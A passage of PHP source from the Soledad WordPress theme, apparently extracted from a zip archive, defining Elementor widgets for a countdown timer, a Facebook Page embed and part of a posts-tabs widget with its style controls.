if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCountDown extends Base_Widget {

	public function get_name() {
		return 'penci-count-down';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Countdown', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-countdown';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'count', 'count_down' );
	}

	public function get_script_depends() {
		return array( 'jquery.plugin', 'countdown' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Count Down', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'count_down_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's5' => esc_html__( 'Style 2', 'soledad' ),
					's3' => esc_html__( 'Style 3', 'soledad' ),
					's4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'count_down_posttion', array(
				'label'   => __( 'Posttion', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'center',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'count_year', array(
				'label'   => __( 'Year', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'separator'   => 'before',
			)
		);
		$this->add_control(
			'count_month', array(
				'label'   => __( 'Month', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);

		$this->add_control(
			'count_day', array(
				'label'   => __( 'Day', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'count_hour', array(
				'label'   => __( 'Hour', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'count_minus', array(
				'label'   => __( 'Minus', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'count_sec', array(
				'label'   => __( 'Sec', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'separator'   => 'after',
			)
		);

		$this->add_control(
			'countdown_opts',
			array(
				'label' => __( 'Select time units to display in countdown timer', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$countdown_opts = array(
			esc_html__( "Years", "penci-framework" )   => "Y",
			esc_html__( "Months", "penci-framework" )  => "O",
			esc_html__( "Weeks", "penci-framework" )   => "W",
			esc_html__( "Days", "penci-framework" )    => "D",
			esc_html__( "Hours", "penci-framework" )   => "H",
			esc_html__( "Minutes", "penci-framework" ) => "M",
			esc_html__( "Seconds", "penci-framework" ) => "S",
		);

		foreach ( $countdown_opts as $countdown_opt_lab => $countdown_opt ) {

			$default = '';
			if( in_array( $countdown_opt, array( 'D','H','M','S' ) ) ){
				$default = 'yes';
			}

			$this->add_control(
				'countdown_'. $countdown_opt , array(
					'label'     => $countdown_opt_lab,
					'type'      => Controls_Manager::SWITCHER,
					'label_on'  => __( 'Show', 'soledad' ),
					'label_off' => __( 'Hide', 'soledad' ),
					'default'   => $default,
				)
			);
		}

		$this->add_control(
			'digit_border', array(
				'label'   => __( 'Timer digit border style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''       => esc_html__( 'None', 'soledad' ),
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
				),
				'separator'   => 'before',
				'condition' => array( 'count_down_style' => array( 's1','s2' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'border-style: {{VALUE}};',
					'{{WRAPPER}} .penci-countdown-s2 .penci-countdown-amount' => 'border-style: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'digit_border_width', array(
				'label'     => __( 'Timer digit border width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'border-width: {{SIZE}}px',
					'{{WRAPPER}} .penci-countdown-s2 .penci-countdown-amount' => 'border-width: {{SIZE}}px',
				),

				'condition' => array( 'digit_border' => array( 'solid', 'dashed', 'dotted', 'double' ),'count_down_style' => array( 's1','s2') ),
			)
		);
		$this->add_control(
			'digit_border_radius', array(
				'label'     => __( 'Timer digit border radius', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'selectors' => array(
                      '{{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'border-radius: {{SIZE}}px',
                      '{{WRAPPER}} .penci-countdown-s2 .penci-countdown-amount' => 'border-radius: {{SIZE}}px',
					),
				'condition' => array( 'digit_border' => array( 'solid', 'dashed', 'dotted', 'double' ),'count_down_style' => array( 's1','s2') ),
			)
		);
		$this->add_control(
			'digit_padding', array(
				'label'     => __( 'Timer digit padding', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-amount' => 'padding: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'digit_margin_top', array(
				'label'     => __( 'Timer digit margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => -200, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-amount' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'unit_margin_top', array(
				'label'     => __( 'Timer unit margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-period' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'countdown_item_width', array(
				'label'     => __( 'Width of Countdown Section', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'condition' => array( 'count_down_style' => array( 's3','s4','s5' ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-section' => 'width: {{SIZE}}px;' ),
			)
		);
		$this->add_responsive_control(
			'countdown_item_height', array(
				'label'     => __( 'Height of Countdown Section', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'condition' => array( 'count_down_style' => array( 's3','s4','s5' ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-section' => 'height: {{SIZE}}px;' ),
			)
		);
		$this->end_controls_section();

		$this->start_controls_section(
			'section_translation', array(
				'label' => esc_html__( 'Strings Translation', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'str_days', array(
				'label'   => __( 'Day (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Day', 'soledad' ),
			)
		);
		$this->add_control(
			'str_days2', array(
				'label'   => __( 'Days (Plural)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Days', 'soledad' ),
			)
		);
		$this->add_control(
			'str_weeks', array(
				'label'   => __( 'Week (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Week', 'soledad' ),
			)
		);
		$this->add_control(
			'str_weeks2', array(
				'label'   => __( 'Weeks (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Weeks', 'soledad' ),
			)
		);

		$this->add_control(
			'str_months', array(
				'label'   => __( 'Month (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Month', 'soledad' ),
			)
		);
		$this->add_control(
			'str_months2', array(
				'label'   => __( 'Months (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Months', 'soledad' ),
			)
		);

		$this->add_control(
			'str_years', array(
				'label'   => __( 'Year (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Year', 'soledad' ),
			)
		);
		$this->add_control(
			'str_years2', array(
				'label'   => __( 'Years (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Years', 'soledad' ),
			)
		);

		$this->add_control(
			'str_hours', array(
				'label'   => __( 'Hour (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Hour', 'soledad' ),
			)
		);
		$this->add_control(
			'str_hours2', array(
				'label'   => __( 'Hours (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Hours', 'soledad' ),
			)
		);

		$this->add_control(
			'str_minutes', array(
				'label'   => __( 'Minute (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Minute', 'soledad' ),
			)
		);
		$this->add_control(
			'str_minutes2', array(
				'label'   => __( 'Minutes (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Minutes', 'soledad' ),
			)
		);

		$this->add_control(
			'str_seconds', array(
				'label'   => __( 'Second (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Second', 'soledad' ),
			)
		);
		$this->add_control(
			'str_seconds2', array(
				'label'   => __( 'Seconds (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Seconds', 'soledad' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'time_digit_color',
			array(
				'label'     => __( 'Timer Digit Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-countdown-amount' => 'color: {{VALUE}} !important;' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'time_digit_typo',
				'label'     => __( 'Timer Digit Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-countdown-amount',
			)
		);

		$this->add_control(
			'time_digit_bordercolor',
			array(
				'label'     => __( 'Timer Digit Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-countdown-s2 .penci-countdown-amount' => 'border-color: {{VALUE}};'
				),
				'condition' => array( 'count_down_style' => array( 's1','s2' ) ),
			)
		);

		$this->add_control(
			'time_digit_bgcolor',
			array(
				'label'     => __( 'Timer Digit Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'background-color: {{VALUE}} !important;' ),
				'condition' => array( 'count_down_style' => array( 's1' ) ),
			)
		);
		$this->add_control(
			'unit_color',
			array(
				'label'     => __( 'Timer Unit Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-countdown-period' => 'color: {{VALUE}} !important;' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'unit_typo',
				'label'     => __( 'Timer Unit Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-countdown-period',
			)
		);
		$this->add_control(
			'countdown_item_bg', array(
				'label'     => __( 'Countdown Section Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'count_down_style' => array( 's3','s4' ) ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-countdown-s3 .penci-span-inner' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-countdown-s4 .penci-span-inner' => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'countdown_item_border', array(
				'label'     => __( 'Countdown Section Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'count_down_style' => array( 's3' ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-s3 .penci-span-inner' => 'border-color: {{VALUE}};' ),
			)
		);
		$this->end_controls_section();
	}

	public function get_time_format( $settings ) {
		$data_format = '';

		$opts = array(
			'countdown_Y' => 'Y',
			'countdown_O' => 'O',
			'countdown_W' => 'W',
			'countdown_D' => 'D',
			'countdown_H' => 'H',
			'countdown_M' => 'M',
			'countdown_S' => 'S',
		);

		foreach ( $opts as $k => $v ) {
			if ( isset( $settings[ $k ] ) && $settings[ $k ] ) {
				$data_format .= $v;
			}
		}

		if ( ! $data_format ) {
			$data_format = 'DHMS';
		}

		return $data_format;
	}

	protected function render() {
		$settings              = $this->get_settings();

		$block_id = 'penci_countdown_' . rand( 1000, 100000 );

		$css_class = 'penci-countdown-bsc';
		$css_class .= ' penci-countdown-' . $settings['count_down_style'];
		$css_class .= ' penci-style-' . $settings['count_down_posttion'];

		$labels  = sprintf( "['%s', '%s', '%s', '%s', '%s', '%s', '%s']",
			$settings['str_years2'], $settings['str_weeks2'],
			$settings['str_months2'], $settings['str_days2'],
			$settings['str_hours2'], $settings['str_minutes2'],
			$settings['str_seconds2']
		);
		$labels1 = sprintf( "['%s', '%s', '%s', '%s', '%s', '%s', '%s']",
			$settings['str_years'], $settings['str_weeks'],
			$settings['str_months'], $settings['str_days'],
			$settings['str_hours'], $settings['str_minutes'],
			$settings['str_seconds']
		);

		$data_format = $this->get_time_format( $settings );

		// Data Until
		$data_time = '';
		$data_time .= $settings['count_year'] ? $settings['count_year'] : 0;
		$data_time .= ',';
		$data_time .= $settings['count_month'] ? intval( $settings['count_month'] ) - 1 : 0;
		$data_time .= ',';
		$data_time .= $settings['count_day'] ? $settings['count_day'] : 0;
		$data_time .= ',';
		$data_time .= $settings['count_hour'] ? $settings['count_hour'] : 0;
		$data_time .= ',';
		$data_time .= $settings['count_minus'] ? $settings['count_minus'] : 0;
		$data_time .= ',';
		$data_time .= $settings['count_sec'] ? $settings['count_sec'] : 0;

		$data_time = apply_filters( 'penci_countdown_time_filter', $data_time );
		?>
		<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>"></div>
		<script type="text/javascript">
			jQuery( function ( $ ) {
				if ( $.fn.countdown ) {
					var <?php echo esc_attr( $block_id ); ?>newDateTime = new Date(<?php echo $data_time; ?> );

					$( '#<?php echo esc_attr( $block_id ); ?>' ).countdown( {
						until: <?php echo esc_attr( $block_id ); ?>newDateTime,
						labels: <?php echo $labels; ?>,
						labels1: <?php echo $labels1; ?>,
						timezone: <?php echo get_option( 'gmt_offset' ); ?>,
						format: '<?php echo $data_format; ?>',
						<?php echo( is_rtl() ? 'isRTL: true' : '' ); ?>
					} );
				}
			} );
		</script>
		<?php
	}
}
PK     N\8rJ9"  "  4  inc/elementor/modules/penci-facebook-page/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFacebookPage;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-facebook-page';
	}

	public function get_widgets() {
		return array( 'PenciFacebookPage' );
	}
}
PK     N\Wj    I  inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFacebookPage\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFacebookPage extends Base_Widget {

	public function get_name() {
		return 'penci-facebook-page';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Facebook Page', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-fb-feed';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'Page', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'page_url', array(
				'label'       => __( 'Facebook Page URL', 'soledad' ),
				'placeholder' => 'https://www.facebook.com/your-page/',
				'default'     => 'https://www.facebook.com/PenciDesign',
				'label_block' => true,
				'description' => __( 'Paste the URL of the Facebook page.', 'soledad' ),
			)
		);

		$this->add_responsive_control(
			'page_height', array(
				'label'   => __( 'Facebook Page Height', 'soledad' ),
				'description' => __( 'This option is only applied when "Hide Stream" option is not checked', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => array( 'size' => '290' ),
				'range'   => array( 'px' => array( 'min' => 100, 'max' => 500, ) ),
			)
		);
		
		$this->add_control(
			'hide_cover', array(
				'label'     => __( 'Hide Cover Photo?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
			)
		);
		
		$this->add_control(
			'hide_faces', array(
				'label'     => __( 'Hide Faces', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
			)
		);
		$this->add_control(
			'hide_stream', array(
				'label'     => __( 'Hide Stream', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
			)
		);
		
		$this->add_control(
			'language', array(
				'label'       => __( 'Custom Language', 'soledad' ),
				'placeholder' => 'en_GB',
				'default'     => '',
				'label_block' => true,
				'description' => __( 'Fill the language code to use on Facebook Page Box here. By default, the language will follow the site language. See more <a href="https://developers.facebook.com/docs/internationalization/" target="_blank">here</a>', 'soledad' ),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		if ( empty( $settings['page_url'] ) ) {
			echo $this->get_title() . ': ' . esc_html__( 'Please enter a valid URL', 'soledad' );

			return;
		}

		$css_class = 'penci-block-vc penci_facebook_widget';

		$height = $settings['page_height']['size'] ? $settings['page_height']['size'] : '';
		$title_page = $settings['heading'] ? $settings['page_height'] : '';
		$page_url = $settings['page_url'] ? $settings['page_url'] : '';
		$faces = $settings['hide_faces'] ? $settings['hide_faces'] : '';
		$stream = $settings['hide_stream'] ? $settings['hide_stream'] : '';
		$cover = $settings['hide_cover'] ? $settings['hide_cover'] : '';
		$language = $settings['language'] ? $settings['language'] : '';
		
		$lang = $language ? $language : get_locale();
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div id="fb-root"></div>
				<script data-cfasync="false">(function(d, s, id){
				  var js, fjs = d.getElementsByTagName(s)[0];
				  if (d.getElementById(id)) return;
				  js = d.createElement(s); js.id = id;
				  js.src = "//connect.facebook.net/<?php echo esc_attr($lang)?>/sdk.js#xfbml=1&version=v9.0";
				  fjs.parentNode.insertBefore(js, fjs);
				}(document, 'script', 'facebook-jssdk'));</script>
				<div class="fb-page" data-href="<?php echo esc_url( $page_url ); ?>"<?php if( ! $stream && is_numeric( $height ) && $height > 69 ): ?> data-height="<?php echo absint( $height ); ?>"<?php endif;?> data-small-header="false" data-hide-cover="<?php if($cover) { echo 'true'; } else { echo 'false'; } ?>" data-show-facepile="<?php if($faces) { echo 'false'; } else { echo 'true'; } ?>" data-show-posts="<?php if($stream) { echo 'false'; } else { echo 'true'; } ?>" data-adapt-container-width="true">
					<div class="fb-xfbml-parse-ignore"><a href="<?php echo esc_attr( $page_url ); ?>"><?php if($title_page) { echo sanitize_text_field( $title_page ); } else { echo 'Facebook'; } ?></a></div>
				</div>
			</div>
		</div>
		<?php
	}
}
PK     N\8a  a  1  inc/elementor/modules/penci-posts-tabs/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPostsTabs;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-posts-tabs';
	}

	public function get_widgets() {
		return array( 'PenciPostsTabs' );
	}
}
PK     N\Pna  a  C  inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPostsTabs\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Color;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPostsTabs extends Base_Widget {

	public function get_name() {
		return 'penci-posts-tabs';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Posts Tabs', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-tabs';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	public function get_script_depends() {
		return [ 'penci_widget_tabs', 'penci_widgets_ajax' ];
	}

	protected function register_controls() {

		$this->start_controls_section( 'tabs_settings', array(
			'label' => esc_html__( 'Tabs', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'tabs_order', array(
			'label'   => __( 'Tabs Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'recent_popular_comments',
			'options' => [
				'recent_popular_comments' => 'Recent / Popular / Comments',
				'recent_comments_popular' => 'Recent / Comments / Popular',
				'popular_recent_comments' => 'Popular / Recent / Comments',
				'popular_comments_recent' => 'Popular / Comments / Recent ',
				'comments_popular_recent' => 'Comments / Popular / Recent ',
				'comments_recent_popular' => 'Comments / Recent / Popular ',
			]
		) );

		$this->add_control( 'tabs_style', array(
			'label'   => __( 'Tabs Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default' => 'Default Theme Style',
				'box'     => 'Box Tabs',
			]
		) );

		$this->add_control( 'disable_recent', array(
			'label' => __( 'Hide Recent Posts Tab', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'disable_popular', array(
			'label' => __( 'Hide Popular Posts Tab', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'disable_comments', array(
			'label' => __( 'Hide Comments Tab', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->end_controls_section();


		// Section layout
		$this->start_controls_section( 'section_settings', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'stick_posts', array(
			'label'   => __( 'Ignore Sticky Posts?', 'soledad' ),
			'desc'    => 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.',
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes'
		) );

		$this->add_control( 'number', array(
			'label'   => __( 'Number of posts to show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 5
		) );

		$this->add_control( 'offset', array(
			'label' => __( 'Number of offset posts', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
		) );

		$this->add_control( 'title_length', array(
			'label' => __( 'Custom words length for post titles:', 'soledad' ),
			'desc'  => 'If your post titles is too long - You can use this option for trim it. Fill number value here.',
			'type'  => Controls_Manager::NUMBER,
		) );

		$this->add_control( 'number_comments', array(
			'label'   => __( 'Number of comments to show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 5
		) );

		$this->add_control( 'fthumb_size', array(
			'label'      => __( 'Custom Image Size for Featured Posts', 'soledad' ),
			'type'       => Controls_Manager::SELECT,
			'default'    => '',
			'options'    => $this->get_list_image_sizes( true ),
			'conditions' => [
				'relation' => 'or',
				'terms'    => [
					[
						'name'     => 'featured',
						'operator' => '==',
						'value'    => 'yes',
					],
					[
						'name'     => 'allfeatured',
						'operator' => '==',
						'value'    => 'yes',
					],
				],
			],
		) );

		$this->add_control( 'thumb_size', array(
			'label'     => __( 'Custom Image Size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'condition' => [ 'allfeatured!' => 'yes' ],
			'options'   => $this->get_list_image_sizes( true ),
		) );

		$this->add_responsive_control( 'image_type', array(
			'label'     => __( 'Thumbnail Ratio', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}}  .penci-wdtab-ct .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
		) );

		$this->add_responsive_control( 'imgwidth', array(
			'label'     => __( 'Thumbnail Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}}  ul.penci-wdtab-ct li .penci-image-holder.small-fix-size' => 'width: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'dotstyle', array(
			'label'   => __( 'Show Timeline Dots?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => [
				''   => 'Hidden',
				's1' => 'Show with Color Style',
				's2' => 'Show with Hover Style',
				's3' => 'Show with Animation Style',
			]
		) );

		$this->add_control( 'movemeta', array(
			'label' => __( 'Move post meta to display above post title?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'hide_thumb', array(
			'label' => __( 'Hide Featured Image?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'thumbright', array(
			'label' => __( 'Display thumbnail on right?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'twocolumn', array(
			'label' => __( 'Display on 2 columns?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'featured', array(
			'label' => __( 'Display 1st post featured?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'featured2', array(
			'label' => __( 'Display featured post style 2', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'allfeatured', array(
			'label' => __( 'Display all post featured?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'ordernum_recent', array(
			'label' => __( 'Hide Order Numbers on Recent Tab?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'ordernum', array(
			'label' => __( 'Hide Order Numbers on Popular Tab?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'show_author', array(
			'label' => __( 'Show Author Name', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'postdate', array(
			'label' => __( 'Hide Post Date', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'show_comment', array(
			'label' => __( 'Show Comment Count', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'show_postviews', array(
			'label' => __( 'Show Post Views', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'icon', array(
			'label' => __( 'Show icon post format', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'showborder', array(
			'label' => __( 'Remove Border at The Bottom?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'row_gap', array(
			'label'     => __( 'Rows Gap Between Post Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => [
				'{{WRAPPER}} ul.penci-wdtab-ct.side-newsfeed:not(.penci-feed-2columns) li' => 'margin-bottom:calc({{SIZE}}px/2);padding-bottom:calc({{SIZE}}px/2)',
				'{{WRAPPER}} ul.penci-wdtab-ct.penci-feed-2columns li'                     => 'margin-bottom:{{SIZE}}px;'
			]
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_tabs', array(
			'label' => __( 'Tabs', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tab_title',
			'label'    => __( 'Tab Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a',
		) );

		$this->add_control( 'tab_title_color', array(
			'label'     => __( 'Tab Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_title_hcolor', array(
			'label'     => __( 'Tab Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_title_acolor', array(
			'label'     => __( 'Tab Title Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li.active a' => 'color: {{VALUE}};' ),
		) );

